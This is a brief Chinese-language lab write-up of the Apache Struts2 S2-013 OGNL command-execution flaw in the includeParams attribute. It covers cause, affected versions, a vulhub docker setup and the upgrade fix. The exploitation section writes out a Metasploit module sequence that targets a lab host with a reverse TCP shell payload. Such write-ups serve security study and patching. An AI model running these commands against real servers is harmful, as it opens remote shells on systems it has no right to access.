s2-013命令执行

概述

产生原因

Struts2 标签中 <s:a><s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none 链接不包含请求的任意参数值(默认)

get 链接只包含 GET 请求中的参数和其值

all 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。

影响

Struts 2.0.0 Struts 2.3.14.1

环境搭建

vulhub

1
2
cd struts2/s2-013
docker-compose up -d

复现

见利用

攻防

利用

msf中exploit/multi/http/struts_include_params模块

1
2
3
4
5
6
7
8
use exploit/multi/http/struts_include_params
set PARAMETER s
set RHOSTS 192.168.0.188
set RPORT 8081
set TARGETURI /link.action
set target 1
set payload payload/generic/shell_reverse_tcp
run

image.png

防御

升级至Struts 2.3.14.2

参考

vulhub